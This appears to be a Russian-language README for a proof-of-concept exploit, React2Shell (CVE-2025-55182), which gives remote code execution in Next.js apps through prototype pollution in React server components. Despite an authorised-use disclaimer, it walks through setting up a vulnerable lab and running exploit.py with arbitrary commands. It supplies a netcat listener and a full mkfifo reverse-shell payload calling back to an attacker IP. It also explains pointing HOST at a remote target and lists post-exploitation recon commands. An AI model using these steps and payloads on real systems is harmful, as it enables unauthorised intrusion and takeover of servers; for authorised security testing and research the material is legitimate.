
Эксплойт proof-of-concept, демонстрирующий уязвимость удалённого выполнения кода в приложениях Next.js через загрязнение прототипа (prototype pollution) в конвейере рендеринга серверных компонентов React.
Этот инструмент предназначен только для образовательных целей и авторизованного тестирования. Несанкционированное использование против систем, которые вам не принадлежат или на тестирование которых у вас нет разрешения, незаконно.
git clone https://github.com/securifyai/React2Shell-CVE-2025-55182.git
cd React2Shell-CVE-2025-55182
# Create a new Next.js app with the vulnerable version
npm create [email protected] react2shell-lab
# Accept all defaults when prompted
cd react2shell-lab
Примечание: Готовый лабораторный стенд уже содержит необходимый уязвимый код. Если вы создаёте проект с нуля, вам нужно вручную добавить уязвимые компоненты.
cd react2shell-lab
npm install
В терминале 1:
npm run dev
Сервер должен запуститься на http://localhost:3000
В репозитории есть файл exploit.py, демонстрирующий уязвимость. Измените переменную COMMAND в файле на нужную вам команду:
COMMAND = 'whoami' # Change this to any command you want to execute
Запустите эксплойт:
python3 exploit.py
Настройте прослушиватель netcat в новом терминале:
nc -nvlp 4444
Отредактируйте exploit.py и замените команду на ваш payload ревёрс-шелла:
COMMAND = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f'
Замените YOUR_IP на IP-адрес вашей локальной машины.
Запустите эксплойт:
python3 exploit.py
Измените переменную HOST в скрипте эксплойта, чтобы указать удалённый сервер:
HOST = 'target-ip-address' # Replace with target IP
PORT = 3000 # Default Next.js port
ls -launame -awhoamiifconfig или ip aЭтот проект лицензирован под MIT License — подробнее в файле LICENSE.
Эта версия запрашивает у пользователя ввод для удалённой цели, а также IP-адресов и портов атакующего. Тело POST-запроса (body_parts) в этой версии также немного сокращено.
https://www.averlon.ai/blog/react2shell-cve-2025-55182-explained